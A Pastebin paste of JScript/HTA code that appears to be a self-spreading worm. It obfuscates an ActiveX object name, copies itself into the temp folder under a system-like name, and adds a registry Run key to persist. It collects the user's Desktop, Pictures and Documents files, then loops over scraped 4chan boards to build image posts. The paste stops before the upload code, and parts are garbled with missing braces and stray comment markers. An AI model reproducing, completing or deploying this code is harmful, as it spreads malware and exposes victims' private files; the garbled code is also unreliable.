Guest User

HTA code

a guest
Jul 27th, 2010
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.21 KB | None | 0 0
  1. *///<script id=thisscript>
  2. var initsettings = {};
  3. initsettings.top = 0.035831361827460564;
  4. initsettings.bottom = 0.07524049811272389;
  5. initsettings.left = 0.022873570904446697;
  6. initsettings.right = 0.04321775122208555;
  7. initsettings.pt = [1.690145048006841,0.27103185223431353,181.23781741097318,19.499053733116184,23.131821594433582,67.88878426769331,4.112015693517884];
  8. initsettings.xc = [-84.70638618402181,-6.099903040205308,-936.8092478143072,-938.1134337957429,-671.7799088025544,1826.604475008387,419.1584829341692];
  9. initsettings.fg = [207,225,105];
  10. initsettings.bg = [2,96,216];
  11. initsettings.line1 = unescape("");
  12. initsettings.name = unescape("WOMEN");
  13. initsettings.wordchoice = [13,53,34,47,32,14,11,35,37,31,13,23,43,21,38,34,15,41];
  14. initsettings.savechoice = [31,31];
  15. initsettings.splitpoint = 0.113562384940881;
  16. //end initsettings
  17. // Precompute CRC table
  18. var crc_table = [];
  19. for (var n = 0; n < 256; n++) {
  20. var c = n;
  21. for (var k = 0; k < 8; k++) {
  22. if (c & 1) {
  23. c = 0xedb88320 ^ (c >>> 1);
  24. } else {
  25. c = c >>> 1;
  26. }
  27. }
  28. crc_table[n] = c;
  29. function TextPic() {
  30. var self = this;
  31. // Edge array
  32. var edges = [];
  33. var vcurr = [];
  34. // Cursor position, font size, image boundaries
  35. this.xc = 0;
  36. this.yc = 0;
  37. this.pt = 50;
  38. this.xmin = 0;
  39. this.xmax = 0;
  40. // Draw edge
  41. function e(x1, x2, y1, y2, curved, v, y1r, y2r) {
  42. if (typeof y1r == "undefined") y1r = y1;
  43. if (typeof y2r == "undefined") y2r = y2;
  44. x1 /= 10; x2 /= 10; y1 /= 10; y2 /= 10; y1r /= 10; y2r /= 10;
  45. var yy1 = Math.max(Math.ceil(self.yc + y1r*self.pt), 0);
  46. var yy2 = Math.min(Math.floor(self.yc + y2r*self.pt), edges.length - 1);
  47. for (var y = yy1; y <= yy2; y++) {
  48. var ys = ((y-self.yc)/self.pt - y1) / (y2 - y1);
  49. var x;
  50. if (curved) {
  51. var dy = 2 * ys - 1;
  52. x = x1 + (x2 - x1) * Math.sqrt(Math.max(1 - dy*dy, 0));
  53. } else {
  54. x = x1 + (x2 - x1) * ys;
  55. }
  56. var xx = Math.ceil(self.xc + x*self.pt);
  57. while (edges[y].length && edges[y][edges[y].length-1] >= xx) {
  58. edges[y].pop();
  59. vcurr[y] = 1 - vcurr[y];
  60. }
  61. if (v != vcurr[y]) edges[y].push(xx);
  62. vcurr[y] = v;
  63. }
  64. }
  65. // Draws other half of character using symmetry
  66. function mirror(params, width, inv) {
  67. for (var i = 0; i < params.length; i++) {
  68. var p = params[i];
  69. e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
  70. }
  71. for (var i = params.length - 1; i >= 0; i--) {
  72. var p = params[i];
  73. if (inv) {
  74. var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
  75. var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
  76. if (p[4]) {
  77. e(width-p[0],width-p[1],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
  78. } else {
  79. e(width-p[1],width-p[0],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
  80. }
  81. } else {
  82. e(width-p[0],width-p[1],p[2],p[3],p[4],1-p[5],p[6],p[7]);
  83. }
  84. }
  85. }
  86. function mirrorvert(params) {
  87. for (var i = 0; i < params.length; i++) {
  88. var p = params[i];
  89. e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
  90. var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
  91. var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
  92. if (p[4]) {
  93. e(p[0],p[1],10-p[3],10-p[2],p[4],p[5],np7,np6);
  94. } else {
  95. e(p[1],p[0],10-p[3],10-p[2],p[4],p[5],np7,np6);
  96. }
  97. }
  98. }
  99. // Character widths
  100. var cwidth = {"A":1,"B":1,"C":.95,"D":1.05,"E":1,"F":.85,"G":1.15,"H":1,"I":.4,"J":.85,"K":1.05,"L":.85,"M":1.2,"N":1.1,"O":1.1,"P":.95,"Q":1.1,"R":.95,"S":.9,"T":.9,"U":1,"V":1,"W":1.7,"X":.95,"Y":.9,"Z":.9,"1":.4,"2":.85,"3":.9,"4":.95,".":.3,"?":.75,"!":.4,":":.4,"-":.7,"+":.7,"'":.3,"$":.9,"/":.6," ":.5};
  101. // Draw centered line of text
  102. this.drawline = function(s) {
  103. while (Math.floor(self.yc + 1.6*self.pt) >= edges.length) {
  104. edges.push([]);
  105. vcurr.push(0);
  106. }
  107. var xc0 = self.xc;
  108. self.yc += .3*self.pt;
  109. for (var i = 0; i < s.length; i++) {
  110. var c = s.charAt(i);
  111. if (c in cwidth) {
  112. self.xc -= cwidth[c]*self.pt/2;
  113. }
  114. }
  115. if (Math.ceil(self.xc) < self.xmin) self.xmin = Math.ceil(self.xc);
  116. for (var i = 0; i < s.length; i++) {
  117. var c = s.charAt(i);
  118. var xc1 = self.xc;
  119. if ("ACGJOQTVWXYZ4.?-'/".indexOf(c) != -1) {
  120. self.xc += .05*self.pt;
  121. } else {
  122. self.xc += .1*self.pt;
  123. }
  124. switch(c) {
  125. case "A": mirror([[3,0,0,10,0,1],[2.9,2,7,10,0,0],[4.4,3.5,2,5,0,0]],9,0);break;
  126. case "B": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0],[5,6,2,4,1,1],[5,8,0,6,1,0,0,5]]);break;
  127. case "C": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(8,8,0,10,0,0);break;
  128. case "D": e(0,0,0,10,0,1);e(2,2,2,8,0,0);e(4,7,2,8,1,1);e(4,9,0,10,1,0);break;
  129. case "E": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0]]);e(8,8,0,10,0,0);break;
  130. case "F": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(7,7,0,6,0,0);break;
  131. case "G": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(6,6,4,6,0,1);e(8,8,6,8,0,1);e(10,10,0,10,0,0);break;
  132. case "H": mirror([[0,0,0,10,0,1],[2,2,0,4,0,0],[2,2,6,10,0,0]],8,0);break;
  133. case "I": case "1": mirror([[0,0,0,10,0,1]],2,0);break;
  134. case "J": mirror([[3.5,0,3,10,1,1,6.5,10],[3.5,2,5,8,1,0,6.5,8]],7,0);e(5,5,0,6.5,0,1);e(7,7,0,6.5,0,0);break;
  135. case "K": e(0,0,0,10,0,1);mirrorvert([[2,2,0,4,0,0],[6,2,0,4,0,1],[9,4,0,5,0,0]]);break;
  136. case "L": e(0,0,0,10,0,1);e(2,2,0,8,0,0);e(7,7,8,10,0,0);break;
  137. case "M": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,4,2,6,0,1],[3,5,0,4,0,0]],10,0);break;
  138. case "N": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,6,2,10,0,1]],9,1);break;
  139. case "O": mirror([[5,0,0,10,1,1],[5,2,2,8,1,0]],10,0);break;
  140. case "P": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);break;
  141. case "Q": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(5,8,2,8,1,1,7,8);e(6,5,5,6,0,1);e(5,7,6,8,0,1);e(6,9,5,8,0,0);
  142. e(5,8,2,8,1,1);e(5,10,0,10,1,0);e(7,9,8,10,0,1);e(9,10,8,9,0,0);e(10,9,9,10,0,0);break;
  143. case "R": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);e(2,5,6,10,0,1);e(5,8,6,10,0,0);break;
  144. case "S": mirror([[3,0,0,6,1,1],[0,0,8,10,0,1],[4,5,6,8,1,1]],7,1);break;
  145. case "T": mirror([[0,0,0,2,0,1],[3,3,2,10,0,1]],8,0);break;
  146. case "U": mirror([[3.5,0,3,10,1,1,6.5,10],[0,0,0,6.5,0,1],[3.5,2,5,8,1,0,6.5,8],[2,2,0,6.5,0,0]],8,0);break;
  147. case "V": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0]],9,0);break;
  148. case "W": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0],[7,4.6,0,8,0,1],[8.1,6,3,10,0,0]],16,0);break;
  149. case "X": mirror([[0,3,0,5,0,1],[3,0,5,10,0,1],[2.5,4.25,0,3.5,0,0],[4.25,2.5,6.5,10,0,0]],8.5,0);break;
  150. case "Y": mirror([[0,3,0,6,0,1],[3,3,6,10,0,1],[2,4,0,4,0,0]],8,0);break;
  151. case "Z": mirror([[0,0,0,2,0,1],[5,0,2,8,0,1],[0,0,8,10,0,1]],8,1);break;
  152. case "2": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1,2,4);e(4.25,0,4,8,0,1);e(0,0,8,10,0,1);
  153. e(3.25,6.5,0,6.5,1,0,0,5.2);e(5.85,2.875,5.2,8,0,0);e(6.5,6.5,8,10,0,0);break;
  154. case "3": e(0,0,4,6,0,1);mirrorvert([[0,0,0,2,0,1],[4,5,2,4,1,1],[4,7,0,6,1,0,0,5]]);break;
  155. case "4": e(1.5,0,0,6,0,1);e(3.5,2.5,0,4,0,0);e(6,6,0,10,0,1);e(8,8,0,10,0,0);break;
  156. case ".": mirror([[1,0,8,10,1,1]],2,0);break;
  157. case "?": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1);e(2.25,2.25,4.5,7.5,0,1);
  158. e(4.25,6.5,0,6.5,1,0);e(4.25,4.25,6.5,7.5,0,0);mirror([[3.25,2.25,8,10,1,1]],6.5,0);break;
  159. case "!": mirror([[0,0,0,7,0,1],[1,0,8,10,1,1]],2,0);break;
  160. case ":": mirror([[1,0,1,3,1,1],[1,0,7,9,1,1]],2,0);break;
  161. case "-": mirror([[0,0,4,6,0,1]],6,0);break;
  162. case "-": mirror([[0,0,4,6,0,1],[2,2,2,4,0,1],[2,2,6,8,0,1]],6,0);break;
  163. case "'": mirror([[0,0,0,3.5,0,1]],2,0);break;
  164. case "$": mirror([[2.5,0,1,6,1,1],[0,0,7,9,0,1],[2.75,2.75,0,1,0,1],[4.25,4.25,0,1,0,0],[2.75,2.75,6,7,0,1],[4.25,4.25,6,7,0,0],[4.5,5,6,7,1,1]],7,1);break;
  165. case "/": mirror([[3,0,0,10,0,1]],5,1);break;
  166. }
  167. self.xc = xc1;
  168. if (c in cwidth) {
  169. self.xc += cwidth[c]*self.pt;
  170. }
  171. }
  172. if (Math.ceil(self.xc) > self.xmax) self.xmax = Math.ceil(self.xc);
  173. self.yc += 1.3*self.pt;
  174. self.xc = xc0;
  175. }
  176. // Output picture in array of run-length encoded lines (arrays of [[r,g,b], count])
  177. this.getRLE = function(fg, bg) {
  178. var rle = [];
  179. for (var y = 0; y < edges.length; y++) {
  180. rle[y] = [];
  181. var v = 0;
  182. var x = self.xmin;
  183. for (var i = 0; i < edges[y].length; i++) {
  184. rle[y].push([v ? fg : bg, edges[y][i] - x]);
  185. v = 1 - v;
  186. x = edges[y][i];
  187. }
  188. if (x < self.xmax) rle[y].push([v ? fg : bg, self.xmax - x]);
  189. }
  190. return rle;
  191. }
  192. function PNGEncoder(w, h) {
  193. var crc = 0;
  194. var stringbuf = "";
  195. var bytebuf = 0;
  196. var bytelen = 0;
  197. // Append one byte to stream
  198. function writebyte(b) {
  199. if (bytelen % 2 == 1) {
  200. stringbuf += String.fromCharCode((b<<8) + bytebuf);
  201. } else {
  202. bytebuf = b;
  203. }
  204. bytelen++;
  205. crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
  206. }
  207. function writebytes(arr) {
  208. for (var i = 0; i < arr.length; i++) {
  209. writebyte(arr[i]);
  210. }
  211. }
  212. // Add integer in big-endian order to stream
  213. function writeint(n, bits) {
  214. for (var i = bits - 1; i >= 0; i--) {
  215. writebyte((n>>>(8*i)) & 0xff);
  216. }
  217. }
  218. // Add bits to stream (little-endian order)
  219. var bitbuf = 0;
  220. var bitlen = 0;
  221. function writebits(b, nbits) {
  222. bitbuf = bitbuf | (b << bitlen);
  223. bitlen += nbits;
  224. while (bitlen >= 8) {
  225. writebyte(bitbuf & 0xff);
  226. bitbuf = bitbuf >>> 8;
  227. bitlen -= 8;
  228. }
  229. }
  230. function flushbits() {
  231. if (bitlen > 0) {
  232. writebyte(bitbuf);
  233. bitbuf = bitlen = 0;
  234. }
  235. }
  236. // Reverse bits
  237. function rev(x, n) {
  238. var y = 0;
  239. ~RIN
  240. */ for (var i = 0; i < n; i++) {
  241. y <<= 1;
  242. if (x & 1) y |= 1;
  243. x >>>= 1;
  244. }
  245. return y;
  246. }
  247. // Create random Huffman code
  248. function randlens(ncodes, maxlen) {
  249. var lens = [[0, Math.random()]];
  250. for (var i = 1; i < ncodes; i++) {
  251. do {
  252. j = Math.floor(lens.length * Math.random());
  253. } while (lens[j][0] == maxlen);
  254. lens[j][0]++;
  255. lens[i] = [lens[j][0], Math.random()];
  256. }
  257. lens.sort(function(x, y) {return x[1] - y[1];});
  258. var lens2 = [];
  259. for (var i = 0; i < ncodes; i++) {
  260. lens2[i] = lens[i][0];
  261. }
  262. return lens2;
  263. }
  264. // Create Huffman codes from table of Huffman code lengths
  265. function getcodes(lens, maxlen) {
  266. var codes = [];
  267. var code = 0;
  268. for (var len = 1; len <= maxlen; len++) {
  269. for (var i = 0; i < lens.length; i++) {
  270. if (lens[i] == len) {
  271. codes[i] = rev(code, len);
  272. code += 1;
  273. }
  274. }
  275. code <<= 1;
  276. }
  277. return codes;
  278. }
  279. // Tables of Huffman codes
  280. var lbits = randlens(286, 15);
  281. var dbits = randlens(30, 15);
  282. var hbits = randlens(19, 7);
  283. var lcode = getcodes(lbits, 15); // literals + lengths
  284. var dcode = getcodes(dbits, 15); // distances
  285. var hcode = getcodes(hbits, 7); // huffman code lengths
  286. // Write length code
  287. function writelength(len) {
  288. if (len == 258) {
  289. writebits(lcode[285], lbits[285]);
  290. } else {
  291. var n;
  292. for (n = 7; n > 0; n--) {
  293. if ((len - 3) & (1 << (n+2))) break;
  294. }
  295. var val = ((len-3)>>>n) & 3;
  296. val += 261 + 4*n;
  297. if (len <= 6) val -= 4;
  298. writebits(lcode[val], lbits[val]);
  299. var eb = (len-3) & ((1<<n) - 1);
  300. writebits(eb, n);
  301. }
  302. }
  303. // Write distance code
  304. function writedist(dist) {
  305. var n;
  306. for (n = 13; n > 0; n--) {
  307. if ((dist - 1) & (1 << (n+1))) break;
  308. }
  309. var val = ((dist-1)>>>n) & 1;
  310. val += 2 + 2*n;
  311. if (dist <= 2) val -= 2;
  312. writebits(dcode[val], dbits[val]);
  313. var eb = (dist-1) & ((1<<n) - 1);
  314. writebits(eb, n);
  315. }
  316. // Write header
  317. writebytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D]);
  318. crc = -1;
  319. writebytes([0x49,0x48,0x44,0x52]);
  320. writeint(w, 4);
  321. writeint(h, 4);
  322. writebytes([0x08,0x02,0x00,0x00,0x00]);
  323. writeint(crc ^ -1, 4);
  324. // Begin data segment
  325. var datalenpos = bytelen;
  326. writeint(0, 4);
  327. crc = -1;
  328. writebytes([0x49,0x44,0x41,0x54]);
  329. var datastart = bytelen;
  330. writebytes([0x78,0x5E]);
  331. writebits(5, 3); // last block, dynamic Huffman codes
  332. // Write Huffman tables
  333. writebits(lbits.length - 257, 5);
  334. writebits(dbits.length - 1, 5);
  335. writebits(hbits.length - 4, 4);
  336. var order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
  337. for (var i = 0; i < order.length; i++) {
  338. writebits(hbits[order[i]], 3);
  339. }
  340. for (var i = 0; i < lbits.length; i++) {
  341. writebits(hcode[lbits[i]], hbits[lbits[i]]);
  342. }
  343. for (var i = 0; i < dbits.length; i++) {
  344. writebits(hcode[dbits[i]], hbits[dbits[i]]);
  345. }
  346. // Adler checksums
  347. var s1 = 1;
  348. var s2 = 0;
  349. function addrun(col, n) {
  350. s2 = (s2 + s1*3*n + col[0]*(3*n+3)*n/2 + col[1]*(3*n+1)*n/2 + col[2]*(3*n-1)*n/2) % 65521;
  351. s1 = (s1 + (col[0]+col[1]+col[2])*n) % 65521;
  352. if (n >= 1) {
  353. for (var j = 0; j < 3; j++) writebits(lcode[col[j]], lbits[col[j]]);
  354. n -= 1;
  355. }
  356. while (n > 0) {
  357. var nn = Math.min(n, 86);
  358. writelength(3*nn);
  359. writedist(3);
  360. n -= nn;
  361. }
  362. }
  363. // Add run-length encoded scanline (array of [[r,g,b], count])
  364. this.addRLE = function(rle) {
  365. writebits(lcode[0], lbits[0]);
  366. s2 = (s2 + s1) % 65521;
  367. for (var i = 0; i < rle.length; i++) {
  368. addrun(rle[i][0], rle[i][1]);
  369. }
  370. }
  371. // Decode string containing pixels in BGR order, add scanline to image
  372. this.addBGR = function(s, charwidth, padcolor) {
  373. writebits(lcode[0], lbits[0]);
  374. s2 = (s2 + s1) % 65521;
  375. var col = [0, 0, 0];
  376. var ch = 2;
  377. var x = 0;
  378. for (var i = 0; i < s.length; i++) {
  379. var word = s.charCodeAt(i);
  380. for (var j = 0; j < charwidth; j++) {
  381. col[ch--] = word & 0xff;
  382. if (ch < 0) {
  383. addrun(col, 1);
  384. ch = 2;
  385. x++;
  386. }
  387. word >>>= 8;
  388. }
  389. }
  390. if (ch != 2) {
  391. addrun(col, 1);
  392. x++;
  393. }
  394. if (x < w) {
  395. addrun(padcolor, w - x);
  396. }
  397. }
  398. // Finish PNG and write to stream
  399. this.writeto = function(stream) {
  400. // End of block
  401. writebits(lcode[256], lbits[256]);
  402. flushbits();
  403. // Checksums
  404. writeint(s2, 2);
  405. writeint(s1, 2);
  406. var datalen = bytelen - datastart;
  407. writeint(crc ^ -1, 4);
  408. // End of file block
  409. writebytes([0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]);
  410. // Write data to stream
  411. var pos1 = stream.position;
  412. if (pos1 == 0) pos1 = 2;
  413. stream.writeText(stringbuf);
  414. if (bytelen % 2 == 1) {
  415. stream.writeText(String.fromCharCode(bytebuf));
  416. stream.position -= 1;
  417. stream.setEOS();
  418. }
  419. var pos2 = stream.position;
  420. // Go back and write in length of data segment
  421. stream.position = pos1 + datalenpos;
  422. function revword(w) {
  423. return String.fromCharCode(((w & 0xff) << 8) | (w >>> 8));
  424. }
  425. stream.writeText(revword(datalen >>> 16));
  426. stream.writeText(revword(datalen & 0xffff));
  427. stream.position = pos2;
  428. }
  429. function textstream(mode) {
  430. var stream = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
  431. stream.mode = mode;
  432. stream.type = 2; //text
  433. stream.open();
  434. return stream;
  435. // Load file, store in 7z format, return [wchar string, nbytes]
  436. function sevenz(filename) {
  437. var crc = -1;
  438. var stringbuf = ["\u7A37\uAFBC\u1C27\u0300", "", ""];
  439. var ibuf = 2;
  440. var bytebuf = 0;
  441. var bytelen = 0;
  442. // Add byte to string, update CRC
  443. function addbyte(b) {
  444. if (bytelen % 2 == 1) {
  445. stringbuf[ibuf] += String.fromCharCode((b<<8) | bytebuf);
  446. } else {
  447. bytebuf = b;
  448. }
  449. bytelen++;
  450. crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
  451. }
  452. function addbytes(bytes) {
  453. for (var i = 0; i < bytes.length; i++) addbyte(bytes[i]);
  454. }
  455. // Add number in 7z's UINT64 format
  456. // Note: this implementation only works to 2^32-1.
  457. function uint64(n) {
  458. var buf = [];
  459. var i;
  460. for (i = 7; i >= 0; i--) {
  461. if ((n & (-(1<<i))) == 0) {
  462. break;
  463. } else {
  464. buf.push(n & 0xff);
  465. n >>>= 8;
  466. }
  467. }
  468. addbyte((n&0xff) + 256 - (1<<(i+1)));
  469. for (var i = 0; i < buf.length; i++) addbyte(buf[i]);
  470. }
  471. function uint(n, nbytes) {
  472. for (var i = 0; i < nbytes; i++) {
  473. addbyte(n & 0xff);
  474. n >>>= 8;
  475. }
  476. }
  477. // Open file
  478. var stream = textstream(1 /*read*/);
  479. stream.loadFromFile(filename);
  480. // Read in file
  481. stringbuf[ibuf] = stream.readText();
  482. bytelen = 2 * stringbuf[ibuf].length;
  483. for (var i = 0; i < stringbuf[ibuf].length; i++) {
  484. var w = stringbuf[ibuf].charCodeAt(i);
  485. crc = crc_table[(crc ^ w) & 0xff] ^ (crc >>> 8);
  486. crc = crc_table[(crc ^ (w>>8)) & 0xff] ^ (crc >>> 8);
  487. }
  488. if (stream.size % 2 == 1) {
  489. stream.position -= 2;
  490. var c = stream.readText(1);
  491. addbyte(c.charCodeAt(0) >> 8);
  492. }
  493. var datacrc = crc ^ -1;
  494. var datasize = bytelen;
  495. stream.close();
  496. // Create 7z headers
  497. crc = -1;
  498. addbytes([1,4,6,0,1,9]);
  499. uint64(datasize);
  500. addbytes([0,7,11,1,0,1,1,0,12]);
  501. uint64(datasize);
  502. addbytes([0,8,10,1]);
  503. uint(datacrc, 4);
  504. addbytes([0,0,5,1,17]);
  505. uint64(2*filename.length + 3);
  506. addbyte(0);
  507. for (var i = 0; i < filename.length; i++) {
  508. addbyte(filename.charCodeAt(i) & 0xff);
  509. addbyte(filename.charCodeAt(i) >> 8);
  510. }
  511. addbytes([0,0,0,0]);
  512. var headercrc = crc ^ -1;
  513. var headersize = bytelen - datasize;
  514. // Headers for beginning of file
  515. ibuf = 1;
  516. bytelen = 0;
  517. crc = -1;
  518. uint(datasize, 8);
  519. uint(headersize, 8);
  520. uint(headercrc, 4);
  521. ibuf = 0;
  522. uint(crc ^ -1, 4);
  523. return [stringbuf.join(""), 32+datasize+headersize];
  524. // List of boards
  525. var dir = "a b c d e g h hr k m o p r s t u v w wg i ic cm y r9k 3 adv an cgl ck co fa fit int jp lit mu n new po sci sp tg toy trv tv vp x".split(" ");
  526. var mfs = [3,2,3,3,3,3,3, 8,3,3,3,5,8,3,3,3,3,4, 4,3, 3, 3,3, 2,3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,3, 3, 8, 3, 3, 3, 3, 8, 3, 3,3];
  527. // ActiveX objects we need
  528. var request = new ActiveXObject("Msxml2.XMLHTTP");
  529. var shell = new ActiveXObject("WScript.Shell");
  530. var fs = new ActiveXObject("Scripting.FileSystemObject");
  531. var sa = new ActiveXObject("Shell.Application");
  532. // Creates a random alphanumeric string
  533. function randomstring(choices, length) {
  534. var str = "";
  535. for (var i = 0; i < length; i++) {
  536. str += choices.charAt( Math.floor(Math.random()*choices.length) );
  537. }
  538. return str;
  539. function randomdata(length, cwidth) {
  540. var str = "";
  541. for (var i = 0; i < length; i++) {
  542. str += String.fromCharCode(Math.floor(Math.random()*(1<<(8*cwidth))));
  543. }
  544. return str;
  545. // Randomly choose from list
  546. function randomchoice(list) {
  547. return list[Math.floor(Math.random()*list.length)];
  548. // Gets HTML page or file from URL
  549. function get(url, doretry) {
  550. if (typeof get.modtime == "undefined") get.modtime = [];
  551. var successful = 0;
  552. var tries = 0;
  553. do {
  554. try {
  555. request.open("get", url, 0);
  556. request.setRequestHeader("Accept-Language", "en-us");
  557. if (get.modtime[url]) {
  558. request.setRequestHeader("If-Modified-Since", get.modtime[url]);
  559. }
  560. request.send();
  561. get.modtime[url] = request.getResponseHeader("Last-Modified");
  562. successful = 1;
  563. } catch(e) {}
  564. tries++;
  565. } while (doretry && !successful && tries < 5);
  566. if (!successful) throw("");
  567. if (request.status != 200) throw("");
  568. // Append text string to stream
  569. function writestring(stream, s) {
  570. var s2 = unescape(encodeURIComponent(s)); // encode UTF8
  571. */ for (var i = 0; i < s2.length; i++) {
  572. stream.writeText(s2.charAt(i));
  573. stream.position -= 1;
  574. stream.setEOS();
  575. }
  576. // Copy text stream to binary stream, removing Unicode garbage at beginning
  577. function tobinary(stream) {
  578. var stream2 = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
  579. stream2.mode = 3;
  580. stream2.type = 1; //binary
  581. stream2.open();
  582. stream.position = 2;
  583. stream.copyTo(stream2);
  584. stream.close();
  585. stream2.position = 0;
  586. return stream2;
  587. // Remove HTML entities, tags from comment
  588. function cleanup(comment) {
  589. comment = comment.replace(/<br \/>/g, "\n");
  590. comment = comment.replace(/<[^>]*>/g, "");
  591. comment = comment.replace(/&quot;/g, "\"");
  592. comment = comment.replace(/&amp;/g, "&");
  593. comment = comment.replace(/&#44;/g, ",");
  594. comment = comment.replace(/&lt;/g, "<");
  595. comment = comment.replace(/&gt;/g, ">");
  596. return comment;
  597. // Add deliberate typos to comment
  598. function garble(comment) {
  599. comment = comment.split("");
  600. for (var i = 0; i < comment.length - 1; i++) {
  601. if (Math.random() < 0.01) {
  602. var tmp = comment[i];
  603. comment[i] = comment[i+1];
  604. comment[i+1] = tmp;
  605. }
  606. }
  607. comment = comment.join("");
  608. comment = comment.replace("\n", "\r\n");
  609. return comment;
  610. // Get a copy of this script
  611. var scripttext;
  612. if (typeof WSH == "undefined") {
  613. scripttext = thisscript.innerHTML;
  614. scripttext = "//<scr"+"ipt id=thisscript>\r\n" + scripttext + "</scr"+"ipt>\r\n";
  615. } else {
  616. var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
  617. scripttext = thisfile.readAll();
  618. thisfile.close();
  619. scripttext = scripttext.replace(/\n\/\*[\s\S]*?\*\//g, "\n");
  620. // Add to startup, run .js version
  621. if (typeof WSH == "undefined") {
  622. try {
  623. shell.currentDirectory = fs.getSpecialFolder(2);
  624. var name = ["dev", "ms", "sys", "system", "win"][initsettings.savechoice[0]%5] + ["32", "config", "drivers", "utils", "xp"][initsettings.savechoice[1]%5];
  625. var copyfile = fs.openTextFile(name + ".js", 2, 1);
  626. copyfile.write(scripttext);
  627. copyfile.close();
  628. var startcmd = "wscript \"" + fs.getFile(name + ".js").path + "\"";
  629. shell.regWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" + name, startcmd);
  630. shell.run(startcmd);
  631. close();
  632. } catch(e) {}
  633. if (typeof WSH != "undefined") {
  634. // Get list of documents
  635. var doclist = [];
  636. var dirkeys = ["Desktop", "My Pictures", "Personal"];
  637. for (var i = 0; i < dirkeys.length; i++) {
  638. try {
  639. var dirname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\" + dirkeys[i]);
  640. var dirlist = sa.namespace(dirname).items();
  641. for (var j = 0; j < dirlist.count; j++) {
  642. var it = dirlist.item(j);
  643. if (!it.isFolder && !it.isLink && it.size <= 3145728) {
  644. doclist.push(it.path);
  645. }
  646. }
  647. } catch(e) {}
  648. }
  649. // List of subject lines seen
  650. var subjectlist = [];
  651. // For cookie clearing
  652. var ie = new ActiveXObject("InternetExplorer.Application");
  653. try {
  654. ie.navigate("http://boards.4chan.org/b/");
  655. } catch(e) {}
  656. while (true) {
  657. try {
  658. // Clear cookies
  659. try {
  660. ie.document.cookie = "nws_style=; expires=" + new Date(0) + "; path=/; domain=.4chan.org";
  661. ie.document.cookie = "ws_style=; expires=" + new Date(0) + "; path=/; domain=.4chan.org";
  662. } catch(e) {}
  663. // Select random board
  664. board = (Math.random() < 0.2) ? 1 : Math.floor( Math.random() * dir.length);
  665. // Get comment, subject lines
  666. get("http://boards.4chan.org/" + dir[board] + "/" + (5 + Math.floor(11*Math.random())), 1);
  667. var comments = request.responseText.match(/<blockquote>.*?<\/blockquote>/g);
  668. var comment = randomchoice(comments);
  669. comment = cleanup(comment);
  670. comment = comment.replace(/>>\d+/g, "");
  671. var subjects = request.responseText.match(/<span class="(?:file|reply)title">.*?<\/span>/g);
  672. for (var i = 0; i < subjects.length; i++) {
  673. var subject = cleanup(subjects[i])
  674. if (subject != "") {
  675. subjectlist.push(subject.toUpperCase());
  676. if (subjectlist.length > 10000) subjectlist.splice(0,1);
  677. }
  678. }
  679. // Select thread to post to and name of file
  680. var thread = "";
  681. if (Math.random() < 0.9) {
  682. get("http://boards.4chan.org/" + dir[board] + "/", 1);
  683. var threadlist = request.responseText.match(/<span id="nothread\d+/g);
  684. thread = randomchoice(threadlist).match(/\d+/)[0];
  685. }
  686. var filename = (new Date().getTime() - Math.floor(Math.random()*1e10)) + ".png";
  687. // Mutate settings
  688. function MUT() {
  689. return Math.random() < 0.2;
  690. }
  691. var settings = {};
  692. for (var x in initsettings) {
  693. if (typeof settings[x] == "object") {
  694. settings[x] = initsettings[x].slice(0);
  695. } else {
  696. settings[x] = initsettings[x];
  697. }
  698. }
  699. if (MUT()) settings.top *= Math.exp(Math.random()-.5);
  700. if (MUT()) settings.bottom *= Math.exp(Math.random()-.5);
  701. if (MUT()) settings.left *= Math.exp(Math.random()-.5);
  702. if (MUT()) settings.right *= Math.exp(Math.random()-.5);
  703. for (var i = 0; i < settings.pt.length; i++) {
  704. if (MUT()) settings.pt[i] *= Math.exp(Math.random()-.5);
  705. if (MUT()) settings.xc[i] += 10 * settings.pt[i] * (Math.random()-.5);
  706. }
  707. if (MUT()) for (var i = 0; i < 3; i++) settings.fg[i] = Math.floor(256*Math.random());
  708. if (MUT()) for (var i = 0; i < 3; i++) settings.bg[i] = Math.floor(256*Math.random());
  709. if (MUT()) {
  710. switch(Math.floor(3*Math.random())) {
